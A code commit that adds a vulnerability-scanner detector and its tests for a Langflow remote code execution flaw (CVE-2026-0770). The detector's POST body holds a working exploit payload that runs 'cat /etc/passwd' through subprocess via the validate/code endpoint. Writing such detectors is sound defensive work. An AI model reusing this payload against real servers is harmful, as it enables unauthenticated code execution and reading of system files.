Skip to content

Commit 8f4b820

Browse files
committed
feat(templated): add detector for Langflow_CVE_2026_0770
1 parent 30830e2 commit 8f4b820

2 files changed

Lines changed: 172 additions & 0 deletions

File tree

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "Langflow_CVE_2026_0770"
11+
author: "asdfghij"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
17+
main_id: {
18+
publisher: "GOOGLE"
19+
value: "CVE-2026-0770"
20+
}
21+
22+
severity: CRITICAL
23+
24+
title: "Langflow exec_globals Remote Code Execution Vulnerability"
25+
26+
description: "Langflow contains an unauthenticated remote code execution vulnerability caused by improper handling of the exec_globals parameter in the validate endpoint. The flaw results from the inclusion of functionality from an untrusted control sphere (CWE-829). A remote attacker can exploit this vulnerability to execute arbitrary code in the context of root."
27+
28+
recommendation: "Upgrade Langflow to a patched version immediately. Do not expose Langflow instances directly to the internet and restrict access to validation endpoints."
29+
30+
related_id: {
31+
publisher: "CVE"
32+
value: "CVE-2026-0770"
33+
}
34+
35+
}
36+
37+
config: {debug: true}
38+
39+
###########
40+
# ACTIONS #
41+
###########
42+
43+
actions: {
44+
name: "fingerprint_langflow"
45+
46+
http_request: {
47+
method: GET
48+
uri: "/"
49+
50+
response: {
51+
http_status: 200
52+
53+
expect_all: {
54+
conditions: [
55+
{ body: {} contains: "<title>Langflow</title>"}
56+
]
57+
}
58+
}
59+
}
60+
}
61+
62+
actions: {
63+
name: "detect_exec_globals_rce"
64+
65+
http_request: {
66+
method: POST
67+
uri: "/api/v1/validate/code"
68+
69+
headers: [
70+
{ name: "Content-Type" value: "application/json" }
71+
]
72+
73+
data: "{\"code\":\"\\ndef exploit(\\n _=( lambda r: (_ for _ in ()).throw(Exception(f'OUTPUT:\\\\n{r.stdout}{r.stderr}')) )(\\n __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\\n )\\n):\\n pass\\n\"}"
74+
75+
response: {
76+
http_status: 200
77+
78+
expect_all: {
79+
conditions: [
80+
{ body: {} contains: "root:x:0:0:root" }
81+
]
82+
}
83+
}
84+
}
85+
}
86+
87+
#############
88+
# WORKFLOWS #
89+
#############
90+
91+
workflows: {
92+
93+
actions: [
94+
"fingerprint_langflow",
95+
"detect_exec_globals_rce"
96+
]
97+
}
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "Langflow_CVE_2026_0770"
6+
}
7+
8+
#######
9+
# TESTS #
10+
#######
11+
12+
tests: {
13+
name: "whenVulnerable_returnsTrue"
14+
expect_vulnerability: true
15+
16+
mock_http_server: {
17+
mock_responses: [
18+
# 1. Fingerprint Langflow
19+
{
20+
uri: "/"
21+
status: 200
22+
body_content: "<!doctype html>\n<html lang=\"en\">\n <head>\n <title>Langflow</title>\n </head>\n <body><div id=\"root\"></div></body>\n</html>"
23+
},
24+
# 2. Detect Code Execution Response (Unauthenticated)
25+
{
26+
uri: "/api/v1/validate/code"
27+
status: 200
28+
headers: [
29+
{ name: "Content-Type" value: "application/json" }
30+
]
31+
body_content: "{\"imports\":{\"errors\":[]},\"function\":{\"errors\":[\"b'root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nuser:x:1000:0::/app/data:/bin/sh\\n'\"]}}"
32+
}
33+
]
34+
}
35+
}
36+
37+
tests: {
38+
name: "whenNotVulnerable_returnsFalse"
39+
expect_vulnerability: false
40+
41+
mock_http_server: {
42+
mock_responses: [
43+
# 1. Fingerprint Langflow
44+
{
45+
uri: "/"
46+
status: 200
47+
body_content: "<!doctype html>\n<html><head><title>Langflow</title></head></html>"
48+
},
49+
# 2. Code Validation endpoint handles input safely or returns clean response
50+
{
51+
uri: "/api/v1/validate/code"
52+
status: 200
53+
headers: [
54+
{ name: "Content-Type" value: "application/json" }
55+
]
56+
body_content: "{\"imports\":{\"errors\":[]},\"function\":{\"errors\":[]}}"
57+
}
58+
]
59+
}
60+
}
61+
62+
tests: {
63+
name: "whenNotLangflow_returnsFalse"
64+
expect_vulnerability: false
65+
66+
mock_http_server: {
67+
mock_responses: [
68+
{
69+
uri: "TSUNAMI_MAGIC_ANY_URI"
70+
status: 200
71+
body_content: "Hello world"
72+
}
73+
]
74+
}
75+
}

0 commit comments

Comments
 (0)